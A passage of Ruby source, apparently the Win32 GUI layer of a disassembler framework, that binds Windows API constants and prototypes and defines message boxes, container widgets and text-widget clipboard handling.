VK_NUMPAD3 0x63 -#define VK_NUMPAD4 0x64 -#define VK_NUMPAD5 0x65 -#define VK_NUMPAD6 0x66 -#define VK_NUMPAD7 0x67 -#define VK_NUMPAD8 0x68 -#define VK_NUMPAD9 0x69 -#define VK_MULTIPLY 0x6A -#define VK_ADD 0x6B -#define VK_SEPARATOR 0x6C -#define VK_SUBTRACT 0x6D -#define VK_DECIMAL 0x6E -#define VK_DIVIDE 0x6F -#define VK_F1 0x70 -#define VK_F2 0x71 -#define VK_F3 0x72 -#define VK_F4 0x73 -#define VK_F5 0x74 -#define VK_F6 0x75 -#define VK_F7 0x76 -#define VK_F8 0x77 -#define VK_F9 0x78 -#define VK_F10 0x79 -#define VK_F11 0x7A -#define VK_F12 0x7B -#define VK_F13 0x7C -#define VK_F14 0x7D -#define VK_F15 0x7E -#define VK_F16 0x7F -#define VK_F17 0x80 -#define VK_F18 0x81 -#define VK_F19 0x82 -#define VK_F20 0x83 -#define VK_F21 0x84 -#define VK_F22 0x85 -#define VK_F23 0x86 -#define VK_F24 0x87 - -#define QS_KEY 0x0001 -#define QS_MOUSEMOVE 0x0002 -#define QS_MOUSEBUTTON 0x0004 -#define QS_POSTMESSAGE 0x0008 -#define QS_TIMER 0x0010 -#define QS_PAINT 0x0020 -#define QS_SENDMESSAGE 0x0040 -#define QS_HOTKEY 0x0080 -#define QS_ALLPOSTMESSAGE 0x0100 -#define QS_RAWINPUT 0x0400 -#define QS_MOUSE (QS_MOUSEMOVE | QS_MOUSEBUTTON) -#define QS_INPUT (QS_MOUSE | QS_KEY | QS_RAWINPUT) -#define QS_ALLEVENTS (QS_INPUT | QS_POSTMESSAGE | QS_TIMER | QS_PAINT | QS_HOTKEY) -#define QS_ALLINPUT (QS_ALLEVENTS | QS_SENDMESSAGE) - -#define WAIT_TIMEOUT 258L - -#define CF_TEXT 1 -#define CF_BITMAP 2 -#define CF_METAFILEPICT 3 -#define CF_SYLK 4 -#define CF_DIF 5 -#define CF_TIFF 6 -#define CF_OEMTEXT 7 -#define CF_DIB 8 -#define CF_PALETTE 9 -#define CF_PENDATA 10 -#define CF_RIFF 11 -#define CF_WAVE 12 -#define CF_UNICODETEXT 13 -#define CF_ENHMETAFILE 14 -#define CF_HDROP 15 -#define CF_LOCALE 16 -#define CF_DIBV5 17 - -#define COLOR_SCROLLBAR 0 -#define COLOR_BACKGROUND 1 -#define COLOR_ACTIVECAPTION 2 -#define COLOR_INACTIVECAPTION 3 -#define COLOR_MENU 4 -#define COLOR_WINDOW 5 -#define COLOR_WINDOWFRAME 6 -#define COLOR_MENUTEXT 7 -#define COLOR_WINDOWTEXT 8 -#define COLOR_CAPTIONTEXT 9 -#define COLOR_ACTIVEBORDER 10 -#define COLOR_INACTIVEBORDER 11 -#define COLOR_APPWORKSPACE 12 -#define COLOR_HIGHLIGHT 13 -#define COLOR_HIGHLIGHTTEXT 14 -#define COLOR_BTNFACE 15 -#define COLOR_BTNSHADOW 16 -#define COLOR_GRAYTEXT 17 -#define COLOR_BTNTEXT 18 -#define COLOR_INACTIVECAPTIONTEXT 19 -#define COLOR_BTNHIGHLIGHT 20 -#define COLOR_3DDKSHADOW 21 -#define COLOR_3DLIGHT 22 -#define COLOR_INFOTEXT 23 -#define COLOR_INFOBK 24 -#define COLOR_HOTLIGHT 26 -#define COLOR_GRADIENTACTIVECAPTION 27 -#define COLOR_GRADIENTINACTIVECAPTION 28 -#define COLOR_MENUHILIGHT 29 -#define COLOR_MENUBAR 30 -#define COLOR_DESKTOP COLOR_BACKGROUND -#define COLOR_3DFACE COLOR_BTNFACE -#define COLOR_3DSHADOW COLOR_BTNSHADOW -#define COLOR_3DHIGHLIGHT COLOR_BTNHIGHLIGHT -#define COLOR_3DHILIGHT COLOR_BTNHIGHLIGHT -#define COLOR_BTNHILIGHT COLOR_BTNHIGHLIGHT - - -WINUSERAPI DWORD WINAPI GetSysColor(__in int nIndex); - - -WINUSERAPI -int -WINAPI -GetSystemMetrics( - __in int nIndex); - -typedef struct tagMSG { - HWND hwnd; - UINT message; - WPARAM wParam; - LPARAM lParam; - DWORD time; - POINT pt; -} MSG, *PMSG, *LPMSG; - -WINUSERAPI -BOOL -WINAPI -GetMessageA( - __out LPMSG lpMsg, - __in_opt HWND hWnd, - __in UINT wMsgFilterMin, - __in UINT wMsgFilterMax); -WINUSERAPI -BOOL -WINAPI -PeekMessageA( - __out LPMSG lpMsg, - __in_opt HWND hWnd, - __in UINT wMsgFilterMin, - __in UINT wMsgFilterMax, - __in UINT wRemoveMsg); -WINUSERAPI -BOOL -WINAPI -TranslateMessage( - __in CONST MSG *lpMsg); -WINUSERAPI -LRESULT -WINAPI -DispatchMessageA( - __in CONST MSG *lpMsg); -#define MOD_ALT 0x0001 -#define MOD_CONTROL 0x0002 -#define MOD_SHIFT 0x0004 -#define MOD_WIN 0x0008 -WINUSERAPI -LRESULT -WINAPI -SendMessageA( - __in HWND hWnd, - __in UINT Msg, - __in WPARAM wParam, - __in LPARAM lParam); -WINUSERAPI -BOOL -WINAPI -PostMessageA( - __in_opt HWND hWnd, - __in UINT Msg, - __in WPARAM wParam, - __in LPARAM lParam); -WINUSERAPI -LRESULT -WINAPI -DefWindowProcA( - __in HWND hWnd, - __in UINT Msg, - __in WPARAM wParam, - __in LPARAM lParam); -WINUSERAPI -VOID -WINAPI -PostQuitMessage( - __in int nExitCode); -WINUSERAPI -DWORD -WINAPI -MsgWaitForMultipleObjects( - __in DWORD nCount, - __in_opt CONST HANDLE *pHandles, - __in BOOL fWaitAll, - __in DWORD dwMilliseconds, - __in DWORD dwWakeMask); -WINUSERAPI DWORD WINAPI GetKeyState(__in int nVirtKey); - -WINUSERAPI BOOL WINAPI OpenClipboard(__in_opt HWND hWndNewOwner); -WINUSERAPI BOOL WINAPI CloseClipboard(VOID); -WINUSERAPI HANDLE WINAPI SetClipboardData(__in UINT uFormat, __in_opt HANDLE hMem); -WINUSERAPI HANDLE WINAPI GetClipboardData(__in UINT uFormat); -WINUSERAPI BOOL WINAPI EmptyClipboard(VOID); - -#define GMEM_FIXED 0x0000 -#define GMEM_MOVEABLE 0x0002 -#define GMEM_NOCOMPACT 0x0010 -#define GMEM_NODISCARD 0x0020 -#define GMEM_ZEROINIT 0x0040 -#define GMEM_MODIFY 0x0080 -#define GMEM_DISCARDABLE 0x0100 -#define GMEM_NOT_BANKED 0x1000 -#define GMEM_SHARE 0x2000 -#define GMEM_DDESHARE 0x2000 -#define GMEM_NOTIFY 0x4000 -#define GMEM_LOWER GMEM_NOT_BANKED -#define GMEM_INVALID_HANDLE 0x8000 -HANDLE WINAPI GlobalAlloc(__in UINT uFlags, __in DWORD dwBytes); -DWORD WINAPI GlobalSize(__in HANDLE hMem); -LPVOID WINAPI GlobalLock(__in HANDLE hMem); -BOOL WINAPI GlobalUnlock(__in HANDLE hMem); -HANDLE WINAPI GlobalFree(HANDLE hMem); - -typedef __stdcall LRESULT (*WNDPROC)(HWND, UINT, WPARAM, LPARAM); -typedef struct tagWNDCLASSEXA { - UINT cbSize; - UINT style; - WNDPROC lpfnWndProc; - int cbClsExtra; - int cbWndExtra; - HINSTANCE hInstance; - HICON hIcon; - HCURSOR hCursor; - HBRUSH hbrBackground; - LPCSTR lpszMenuName; - LPCSTR lpszClassName; - HICON hIconSm; -} WNDCLASSEXA; -WINUSERAPI -ATOM -WINAPI -RegisterClassExA( - __in CONST WNDCLASSEXA *); -WINUSERAPI -HWND -WINAPI -CreateWindowExA( - __in DWORD dwExStyle, - __in_opt LPCSTR lpClassName, - __in_opt LPCSTR lpWindowName, - __in DWORD dwStyle, - __in int X, - __in int Y, - __in int nWidth, - __in int nHeight, - __in_opt HWND hWndParent, - __in_opt HMENU hMenu, - __in_opt HINSTANCE hInstance, - __in_opt LPVOID lpParam); -WINUSERAPI -BOOL -WINAPI -DestroyWindow( - __in HWND hWnd); -WINUSERAPI -BOOL -WINAPI -ShowWindow( - __in HWND hWnd, - __in int nCmdShow); -WINUSERAPI -BOOL -WINAPI -CloseWindow( - __in HWND hWnd); -WINUSERAPI -BOOL -WINAPI -MoveWindow( - __in HWND hWnd, - __in int X, - __in int Y, - __in int nWidth, - __in int nHeight, - __in BOOL bRepaint); -WINUSERAPI -BOOL -WINAPI -SetWindowPos( - __in HWND hWnd, - __in_opt HWND hWndInsertAfter, - __in int X, - __in int Y, - __in int cx, - __in int cy, - __in UINT uFlags); -#define SRCCOPY (DWORD)0x00CC0020 /* dest = source */ -#define SRCPAINT (DWORD)0x00EE0086 /* dest = source OR dest */ -#define SRCAND (DWORD)0x008800C6 /* dest = source AND dest */ -#define SRCINVERT (DWORD)0x00660046 /* dest = source XOR dest */ -#define SRCERASE (DWORD)0x00440328 /* dest = source AND (NOT dest ) */ -#define NOTSRCCOPY (DWORD)0x00330008 /* dest = (NOT source) */ -#define NOTSRCERASE (DWORD)0x001100A6 /* dest = (NOT src) AND (NOT dest) */ -#define MERGECOPY (DWORD)0x00C000CA /* dest = (source AND pattern) */ -#define MERGEPAINT (DWORD)0x00BB0226 /* dest = (NOT source) OR dest */ -#define PATCOPY (DWORD)0x00F00021 /* dest = pattern */ -#define PATPAINT (DWORD)0x00FB0A09 /* dest = DPSnoo */ -#define PATINVERT (DWORD)0x005A0049 /* dest = pattern XOR dest */ -#define DSTINVERT (DWORD)0x00550009 /* dest = (NOT dest) */ -#define BLACKNESS (DWORD)0x00000042 /* dest = BLACK */ -#define WHITENESS (DWORD)0x00FF0062 /* dest = WHITE */ -#define NOMIRRORBITMAP (DWORD)0x80000000 /* Do not Mirror the bitmap in this call */ -#define CAPTUREBLT (DWORD)0x40000000 /* Include layered windows */ -BOOL WINAPI BitBlt(__in HDC hdcDst, __in int x, __in int y, __in int cx, __in int cy, __in_opt HDC hdcSrc, __in int x1, __in int y1, __in DWORD rop); -HBITMAP WINAPI CreateCompatibleBitmap(__in HDC hdc, __in int cx, __in int cy); -HDC WINAPI CreateCompatibleDC(__in_opt HDC hdc); -BOOL WINAPI DeleteDC(__in HDC hdc); -HDC WINAPI GetDC(__in_opt HWND hWnd); -int WINAPI ReleaseDC(__in_opt HWND hWnd, __in HDC hDC); -BOOL -WINAPI -GetTextExtentPoint32A( - __in HDC hdc, - __in_ecount(c) LPCSTR lpString, - __in int c, - __out LPPOINT lpsz); - -typedef struct tagRECT { - LONG left; - LONG top; - LONG right; - LONG bottom; -} RECT, *LPRECT; - -#define TPM_LEFTBUTTON 0x0000L -#define TPM_RIGHTBUTTON 0x0002L -#define TPM_LEFTALIGN 0x0000L -#define TPM_CENTERALIGN 0x0004L -#define TPM_RIGHTALIGN 0x0008L -#define TPM_TOPALIGN 0x0000L -#define TPM_VCENTERALIGN 0x0010L -#define TPM_BOTTOMALIGN 0x0020L -#define TPM_HORIZONTAL 0x0000L -#define TPM_VERTICAL 0x0040L -#define TPM_NONOTIFY 0x0080L -#define TPM_RETURNCMD 0x0100L -#define TPM_RECURSE 0x0001L -#define TPM_HORPOSANIMATION 0x0400L -#define TPM_HORNEGANIMATION 0x0800L -#define TPM_VERPOSANIMATION 0x1000L -#define TPM_VERNEGANIMATION 0x2000L -#define TPM_NOANIMATION 0x4000L -#define TPM_LAYOUTRTL 0x8000L -WINUSERAPI -BOOL -WINAPI -SetMenu( - __in HWND hWnd, - __in_opt HMENU hMenu); -WINUSERAPI -HMENU -WINAPI -CreateMenu(VOID); -WINUSERAPI -HMENU -WINAPI -CreatePopupMenu(VOID); -WINUSERAPI -BOOL -WINAPI -DestroyMenu( - __in HMENU hMenu); -WINUSERAPI -BOOL -WINAPI -TrackPopupMenu( - __in HMENU hMenu, - __in UINT uFlags, - __in int x, - __in int y, - __in int nReserved, - __in HWND hWnd, - __in_opt CONST RECT *prcRect); -WINUSERAPI -DWORD -WINAPI -CheckMenuItem( - __in HMENU hMenu, - __in UINT uIDCheckItem, - __in UINT uCheck); -WINUSERAPI -BOOL -WINAPI -AppendMenuA( - __in HMENU hMenu, - __in UINT uFlags, - __in UINT_PTR uIDNewItem, - __in_opt LPCSTR lpNewItem); - -#define TRANSPARENT 1 -#define OPAQUE 2 -int WINAPI SetBkMode(__in HDC hdc, __in int mode); - -WINUSERAPI -int -WINAPI -DrawTextA( - __in HDC hdc, - __inout_ecount(cchText) LPCSTR lpchText, - __in int cchText, - __inout LPRECT lprc, - __in UINT format); - -typedef struct tagPAINTSTRUCT { - HDC hdc; - BOOL fErase; - RECT rcPaint; - BOOL fRestore; - BOOL fIncUpdate; - BYTE rgbReserved[32]; -} PAINTSTRUCT, *LPPAINTSTRUCT; -WINUSERAPI -HDC -WINAPI -BeginPaint( - __in HWND hWnd, - __out LPPAINTSTRUCT lpPaint); -WINUSERAPI -BOOL -WINAPI -EndPaint( - __in HWND hWnd, - __in CONST PAINTSTRUCT *lpPaint); -WINUSERAPI -BOOL -WINAPI -InvalidateRect( - __in_opt HWND hWnd, - __in_opt CONST RECT *lpRect, - __in BOOL bErase); -WINUSERAPI -BOOL -WINAPI -SetWindowTextA( - __in HWND hWnd, - __in_opt LPCSTR lpString); -WINUSERAPI -int -WINAPI -GetWindowTextA( - __in HWND hWnd, - __out_ecount(nMaxCount) LPSTR lpString, - __in int nMaxCount); -WINUSERAPI -int -WINAPI -MessageBoxA( - __in_opt HWND hWnd, - __in_opt LPCSTR lpText, - __in_opt LPCSTR lpCaption, - __in UINT uType); - -WINUSERAPI -HICON -WINAPI -LoadIconA( - __in_opt HINSTANCE hInstance, - __in LPCSTR lpIconName); -WINUSERAPI -HCURSOR -WINAPI -LoadCursorA( - __in_opt HINSTANCE hInstance, - __in LPCSTR lpCursorName); -WINAPI PVOID GetStockObject(__in int i); -WINUSERAPI -BOOL -WINAPI -UpdateWindow( - __in HWND hWnd); -WINUSERAPI -BOOL -WINAPI -ClientToScreen( - __in HWND hWnd, - __inout LPPOINT pt); -WINUSERAPI -BOOL -WINAPI -ScreenToClient( - __in HWND hWnd, - __inout LPPOINT pt); -WINUSERAPI -BOOL -WINAPI -GetClientRect( - __in HWND hWnd, - __out LPRECT lpRect); -WINUSERAPI -BOOL -WINAPI -GetWindowRect( - __in HWND hWnd, - __out LPRECT lpRect); -WINUSERAPI -BOOL -WINAPI -AdjustWindowRect( - __inout LPRECT lpRect, - __in DWORD dwStyle, - __in BOOL bMenu); -WINUSERAPI -BOOL -WINAPI -AdjustWindowRectEx( - __inout LPRECT lpRect, - __in DWORD dwStyle, - __in BOOL bMenu, - __in DWORD dwExStyle); -#define PS_SOLID 0 -#define PS_DASH 1 /* ------- */ -#define PS_DOT 2 /* ....... */ -#define PS_DASHDOT 3 /* _._._._ */ -#define PS_DASHDOTDOT 4 /* _.._.._ */ -#define PS_NULL 5 -#define PS_INSIDEFRAME 6 -#define PS_USERSTYLE 7 -#define PS_ALTERNATE 8 -DWORD WINAPI SetTextColor(__in HDC hdc, __in DWORD color); -BOOL WINAPI TextOutA( __in HDC hdc, __in int x, __in int y, __in_ecount(c) LPCSTR lpString, __in int c); -BOOL WINAPI MoveToEx( __in HDC hdc, __in int x, __in int y, __out_opt LPPOINT lppt); -BOOL WINAPI LineTo( __in HDC hdc, __in int x, __in int y); -BOOL WINAPI Rectangle(__in HDC hdc, __in int left, __in int top, __in int right, __in int bottom); -HANDLE WINAPI SelectObject(__in HDC hdc, __in HANDLE h); -BOOL WINAPI DeleteObject(__in HANDLE ho); -DWORD WINAPI SetBkColor(__in HDC hdc, __in DWORD color); -HANDLE WINAPI CreateSolidBrush(__in DWORD color); -//DWORD WINAPI SetDCBrushColor(__in HDC hdc, __in DWORD color); -HANDLE WINAPI CreatePen(__in int style, __in int width, __in DWORD color); -//DWORD WINAPI SetDCPenColor(__in HDC hdc, __in DWORD color); -int WINAPI FillRect(__in HDC hDC, __in CONST RECT *lprc, __in HBRUSH hbr); - -WINUSERAPI HWND WINAPI GetCapture(VOID); -WINUSERAPI HWND WINAPI SetCapture(__in HWND hWnd); -WINUSERAPI BOOL WINAPI ReleaseCapture(VOID); - -#define FORMAT_MESSAGE_ALLOCATE_BUFFER 0x00000100 -#define FORMAT_MESSAGE_IGNORE_INSERTS 0x00000200 -#define FORMAT_MESSAGE_FROM_STRING 0x00000400 -#define FORMAT_MESSAGE_FROM_HMODULE 0x00000800 -#define FORMAT_MESSAGE_FROM_SYSTEM 0x00001000 -#define FORMAT_MESSAGE_ARGUMENT_ARRAY 0x00002000 -#define FORMAT_MESSAGE_MAX_WIDTH_MASK 0x000000FF - -DWORD -WINAPI -GetLastError(VOID); -VOID -WINAPI -SetLastError( - __in DWORD dwErrCode - ); -DWORD -WINAPI -FormatMessageA( - DWORD dwFlags, - LPVOID lpSource, - DWORD dwMessageId, - DWORD dwLanguageId, - LPSTR lpBuffer, - DWORD nSize, - void *Arguments - ); - -#define OFN_READONLY 0x00000001 -#define OFN_OVERWRITEPROMPT 0x00000002 -#define OFN_HIDEREADONLY 0x00000004 -#define OFN_NOCHANGEDIR 0x00000008 -#define OFN_SHOWHELP 0x00000010 -#define OFN_ENABLEHOOK 0x00000020 -#define OFN_ENABLETEMPLATE 0x00000040 -#define OFN_ENABLETEMPLATEHANDLE 0x00000080 -#define OFN_NOVALIDATE 0x00000100 -#define OFN_ALLOWMULTISELECT 0x00000200 -#define OFN_EXTENSIONDIFFERENT 0x00000400 -#define OFN_PATHMUSTEXIST 0x00000800 -#define OFN_FILEMUSTEXIST 0x00001000 -#define OFN_CREATEPROMPT 0x00002000 -#define OFN_SHAREAWARE 0x00004000 -#define OFN_NOREADONLYRETURN 0x00008000 -#define OFN_NOTESTFILECREATE 0x00010000 -#define OFN_NONETWORKBUTTON 0x00020000 -#define OFN_NOLONGNAMES 0x00040000 // force no long names for 4.x modules -#define OFN_EXPLORER 0x00080000 // new look commdlg -#define OFN_NODEREFERENCELINKS 0x00100000 -#define OFN_LONGNAMES 0x00200000 // force long names for 3.x modules -#define OFN_ENABLEINCLUDENOTIFY 0x00400000 // send include message to callback -#define OFN_ENABLESIZING 0x00800000 -#define OFN_DONTADDTORECENT 0x02000000 -#define OFN_FORCESHOWHIDDEN 0x10000000 // Show All files including System and hidden files -typedef struct tagOFNA { - DWORD lStructSize; - HWND hwndOwner; - HINSTANCE hInstance; - LPCSTR lpstrFilter; - LPSTR lpstrCustomFilter; - DWORD nMaxCustFilter; - DWORD nFilterIndex; - LPSTR lpstrFile; - DWORD nMaxFile; - LPSTR lpstrFileTitle; - DWORD nMaxFileTitle; - LPCSTR lpstrInitialDir; - LPCSTR lpstrTitle; - DWORD Flags; - WORD nFileOffset; - WORD nFileExtension; - LPCSTR lpstrDefExt; - LPARAM lCustData; - LPVOID lpfnHook; - LPCSTR lpTemplateName; - //void * pvReserved; // undef for win98 compat - //DWORD dwReserved; - //DWORD FlagsEx; -} OPENFILENAMEA, *LPOPENFILENAMEA; -BOOL WINAPI GetOpenFileNameA(LPOPENFILENAMEA); -BOOL WINAPI GetSaveFileNameA(LPOPENFILENAMEA); - -#define SB_HORZ 0 -#define SB_VERT 1 -#define SB_CTL 2 -#define SB_BOTH 3 - -#define SB_LINEUP 0 -#define SB_LINELEFT 0 -#define SB_LINEDOWN 1 -#define SB_LINERIGHT 1 -#define SB_PAGEUP 2 -#define SB_PAGELEFT 2 -#define SB_PAGEDOWN 3 -#define SB_PAGERIGHT 3 -#define SB_THUMBPOSITION 4 -#define SB_THUMBTRACK 5 -#define SB_TOP 6 -#define SB_LEFT 6 -#define SB_BOTTOM 7 -#define SB_RIGHT 7 -#define SB_ENDSCROLL 8 - -#define SIF_RANGE 0x0001 -#define SIF_PAGE 0x0002 -#define SIF_POS 0x0004 -#define SIF_DISABLENOSCROLL 0x0008 -#define SIF_TRACKPOS 0x0010 -#define SIF_ALL (SIF_RANGE | SIF_PAGE | SIF_POS | SIF_TRACKPOS) - -WINUSERAPI -int -WINAPI -SetScrollPos( - __in HWND hWnd, - __in int nBar, - __in int nPos, - __in BOOL bRedraw); - -WINUSERAPI -int -WINAPI -GetScrollPos( - __in HWND hWnd, - __in int nBar); - -typedef struct tagSCROLLINFO -{ - UINT cbSize; - UINT fMask; - int nMin; - int nMax; - UINT nPage; - int nPos; - int nTrackPos; -} SCROLLINFO, *LPSCROLLINFO; -typedef SCROLLINFO CONST *LPCSCROLLINFO; - -WINUSERAPI -int -WINAPI -SetScrollInfo( - __in HWND hwnd, - __in int nBar, - __in LPCSCROLLINFO lpsi, - __in BOOL redraw); - -WINUSERAPI -BOOL -WINAPI -GetScrollInfo( - __in HWND hwnd, - __in int nBar, - __inout LPSCROLLINFO lpsi); -EOS - - new_api_c <<EOS, 'shell32' -typedef HANDLE HDROP; -WINAPI UINT DragQueryFileA(HDROP,UINT,LPSTR,UINT); -WINAPI BOOL DragQueryPoint(HDROP,LPPOINT); -WINAPI void DragFinish(HDROP); -WINAPI void DragAcceptFiles(HWND,BOOL); -EOS - -def self.last_error_msg(errno = getlasterror) - message = ' '*512 - if formatmessagea(FORMAT_MESSAGE_FROM_SYSTEM, nil, errno, 0, message, message.length, nil) == 0 - message = 'unknown error %x' % errno - else - message = message[0, message.index(?\0)] if message.index(?\0) - message.chomp! - end - message -end - -def self.setdcbrushcolor(hdc, col) - @@brushes ||= {} - b = @@brushes[col] ||= createsolidbrush(col) - selectobject(hdc, b) -end -def self.setdcpencolor(hdc, col) - @@pens ||= {} - p = @@pens[col] ||= createpen(PS_SOLID, 0, col) - selectobject(hdc, p) -end -end - -module Protect - @@lasterror = Time.now - def protect - yield - rescue Object - puts $!.message, $!.backtrace # also dump on stdout, for c/c - delay = Time.now-@@lasterror - sleep 1-delay if delay < 1 # msgbox flood protection - @@lasterror = Time.now - messagebox([$!.message, $!.backtrace].join("\n"), $!.class.name) - end -end - -module Msgbox - include Protect - - def toplevel - p = self - p = p.parent while p.respond_to? :parent and p.parent - p - end - - # shows a message box (non-modal) - # args: message, title/optionhash - def messagebox(*a) - MessageBox.new(toplevel, *a) - end - - # asks for user input, yields the result (unless 'cancel' clicked) - # args: prompt, :text => default text, :title => title - def inputbox(*a) - InputBox.new(toplevel, *a) { |*ya| protect { yield(*ya) } } - end - - # asks to chose a file to open, yields filename - # args: title, :path => path - def openfile(*a) - OpenFile.new(toplevel, *a) { |*ya| protect { yield(*ya) } } - end - - # same as openfile, but for writing a (new) file - def savefile(*a) - SaveFile.new(toplevel, *a) { |*ya| protect { yield(*ya) } } - end - - # displays a popup showing a table, yields the selected row - # args: title, [[col0 title, col1 title...], [col0 val0, col1 val0...], [val1], [val2]...] - def listwindow(*a) - ListWindow.new(toplevel, *a) { |*ya| protect { yield(*ya) } } - end -end - -class WinWidget - include Msgbox - attr_accessor :parent, :hwnd, :x, :y, :width, :height - - def initialize - @parent = nil - @hwnd = nil - @x = @y = @width = @height = 0 - end - - def grab_focus - return if not @parent - @parent.set_focus(self) if @parent.respond_to? :set_focus - end - - def focus? - return true if not @parent - (@parent.respond_to?(:focus?) ? @parent.focus? : true) and - (@parent.respond_to?(:has_focus?) ? @parent.has_focus?(self) : true) - end - - def redraw - invalidate(0, 0, @width, @height) - end - - def invalidate(x, y, w, h) - x += @x - y += @y - rect = Win32Gui.alloc_c_struct('RECT', :left => x, :right => x+w, :top => y, :bottom => y+h) - Win32Gui.invalidaterect(@hwnd, rect, Win32Gui::FALSE) - end -end - -class ContainerChoiceWidget < WinWidget - attr_accessor :views, :view_indexes - def initialize(*a, &b) - @views = {} - @view_indexes = [] - @curview = nil - @visible = false - - super() - - initialize_widget(*a, &b) - end - - def initialize_visible_ - @visible = true - @views.each { |k, v| v.initialize_visible_ } - end - - def view(i) - @views[i] - end - - def showview(i) - @curview = @views[i] - @curview.redraw if @curview - end - - def addview(name, w) - @view_indexes << name - @views[name] = w - @curview ||= w - w.parent = self - w.hwnd = @hwnd - w.x, w.y, w.width, w.height = @x, @y, @width, @height - w.initialize_visible_ if @visible - w - end - - def curview - @curview - end - - def curview_index - @views.index(@curview) - end - - %w[click click_ctrl mouserelease mousemove rightclick doubleclick mouse_wheel mouse_wheel_ctrl keypress_ keypress_ctrl_].each { |m| - define_method(m) { |*a| @curview.send(m, *a) if @curview and @curview.respond_to? m } - } - - def paint_(rc) - @curview.paint_(rc) if @curview - end - - def resized_(w, h) - @width = w - @height = h - @views.each { |k, v| - v.x = @x - v.y = @y - v.resized_(w, h) - } - end - - def hwnd=(h) - @hwnd = h - @views.each { |k, v| v.hwnd = h } - end - - def has_focus?(c) - c == @curview - end - - def set_focus(c) - @curview = c - grab_focus - redraw - end -end - -class ContainerVBoxWidget < WinWidget - def initialize(*a, &b) - @views = [] - @focus_idx = 0 - @visible = false - @wantheight = {} - @spacing = 3 - @resizing = nil - - super() - - initialize_widget(*a, &b) - end - - def initialize_visible_ - @visible = true - @views.each { |v| v.initialize_visible_ } - end - - def add(w, opts={}) - @views << w - w.parent = self - w.hwnd = @hwnd - resized_(@width, @height) - w.initialize_visible_ if @visible - end - - def click(x, y) - cy = 0 - pv = [] - @views.each_with_index { |v, i| - if y >= cy+1 and y < cy + v.height - 1 - if @focus_idx != i - @focus_idx = i - redraw - end - v.click(x, y-v.y) if v.respond_to? :click - return - end - cy += v.height - if y >= cy-1 and y < cy+@spacing+1 - @resizing = v - @wantheight[@resizing] ||= v.height - @tmpwantheight = [] - pv.each { |vv| @tmpwantheight << vv if not @wantheight[vv] ; @wantheight[vv] ||= vv.height } - return - end - cy += @spacing - pv << v - } - end - - def mousemove(x, y) - if @resizing - @wantheight[@resizing] = [0, y - @resizing.y].max - resized_(@width, @height) - elsif v = @views[@focus_idx] - v.mousemove(x, y-v.y) if v.respond_to? :mousemove - end - end - - def mouserelease(x, y) - if @resizing - @wantheight[@resizing] = [0, y - @resizing.y].max - @resizing = nil - @tmpwantheight.each { |vv| @wantheight.delete vv } - @tmpwantheight = nil - resized_(@width, @height) - elsif v = @views[@focus_idx] - v.mouserelease(x, y-v.y) if v.respond_to? :mouserelease - end - end - - %w[click_ctrl rightclick doubleclick].each { |m| - define_method(m) { |x, y| - if v = find_view_y(y, true) - v.send(m, x, y-v.y) if v.respond_to? m - end - } - } - - %w[mouse_wheel mouse_wheel_ctrl].each { |m| - define_method(m) { |d, x, y| - if v = find_view_y(y, false) - v.send(m, d, x, y-v.y) if v.respond_to? m - end - } - } - %w[keypress_ keypress_ctrl_].each { |m| - define_method(m) { |k| - if v = @views[@focus_idx] and v.respond_to? m - v.send(m, k) - end - } - } - - def paint_(hdc) - # TODO check invalidated rectangle - x = @x - y = @y - Win32Gui.selectobject(hdc, Win32Gui.getstockobject(Win32Gui::DC_BRUSH)) - Win32Gui.selectobject(hdc, Win32Gui.getstockobject(Win32Gui::DC_PEN)) - col = Win32Gui.getsyscolor(Win32Gui::COLOR_BTNFACE) - Win32Gui.setdcbrushcolor(hdc, col) - Win32Gui.setdcpencolor(hdc, col) - @views.each { |v| - v.paint_(hdc) if v.height > 0 - y += v.height - Win32Gui.rectangle(hdc, x, y, x+@width, y+@spacing) - y += @spacing - } - Win32Gui.rectangle(hdc, x, y, x+@width, y+@height) - end - - def resized_(w, h) - @width = w - @height = h - x = @x - y = @y - freesize = h - freesize -= @spacing*(@views.length-1) - nrfree = 0 - @views.each { |v| - if @wantheight[v] - freesize -= @wantheight[v] - else - nrfree += 1 - end - } - freesize = 0 if freesize < 0 - @views.each { |v| - v.x = x - v.y = y - ch = @wantheight[v] || freesize/nrfree - v.resized_(w, ch) - y += ch + @spacing - } - redraw - end - - def find_view_y(ty, update_focus=false) - y = 0 - @views.each_with_index { |v, i| - if ty >= y and ty < y + v.height - if update_focus and @focus_idx != i - @focus_idx = i - redraw - end - return v - end - y += v.height + @spacing - } - nil - end - - def hwnd=(h) - @hwnd = h - @views.each { |v| v.hwnd = h } - end - - def resize_child(cld, w, h) - return if @wantheight[cld] == h - if h < 0 - @wantheight.delete cld - else - @wantheight[cld] = h - end - resized_(@width, @height) - end - - def has_focus?(c) - c == @views[@focus_idx] - end - - def set_focus(c) - @focus_idx = @views.index(c) - grab_focus - redraw - end -end - -module TextWidget - attr_accessor :caret_x, :caret_y, :hl_word, :hl_word_re, :font_width, :font_height - - def initialize_text - @caret_x = @caret_y = 0 # text cursor position - @oldcaret_x = @oldcaret_y = 1 - @font_width = @font_height = 1 - @hl_word = nil - end - - def update_hl_word(line, offset, mode=:asm) - return if not line - word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/] - word = nil if word == '' - if @hl_word != word - if word - if mode == :asm and defined?(@dasm) and @dasm - re = @dasm.gui_hilight_word_regexp(word) - else - re = Regexp.escape(word) - end - @hl_word_re = /^(.*?)(\b(?:#{re})\b)/ - end - @hl_word = word - end - end - - def set_caret_from_click(x, y) - @caret_x = (x-1).to_i / @font_width - @caret_y = y.to_i / @font_height - update_caret - end - - def invalidate_caret(cx, cy, x=0, y=0) - invalidate(x + cx*@font_width, y + cy*@font_height, 2, @font_height) - end - - def clipboard_copy(buf) - Win32Gui.openclipboard(@hwnd) - Win32Gui.emptyclipboard - if buf and not buf.empty? - h = Win32Gui.globalalloc(Win32Gui::GMEM_MOVEABLE, buf.length+1) - ptr = Win32Gui.globallock(h) - Win32Gui.memory_write(ptr, buf) - Win32Gui.globalunlock(h) - Win32Gui.setclipboarddata(Win32Gui::CF_TEXT, h) - # on(WM_DESTROYCLIPBOARD) { Win32Gui.globalfree(h) } - end - Win32Gui.closeclipboard - end - - def clipboard_paste - Win32Gui.openclipboard(@hwnd) - h = Win32Gui.getclipboarddata(Win32Gui::CF_TEXT) - if h and h != 0 and h != Win32Gui::GMEM_INVALID_HANDLE - sz = Win32Gui.globalsize(h) - ptr = Win32Gui.globallock(h) - buf = Win32Gui.memory_read(ptr, sz) - Win32Gui.globalunlock(h) - 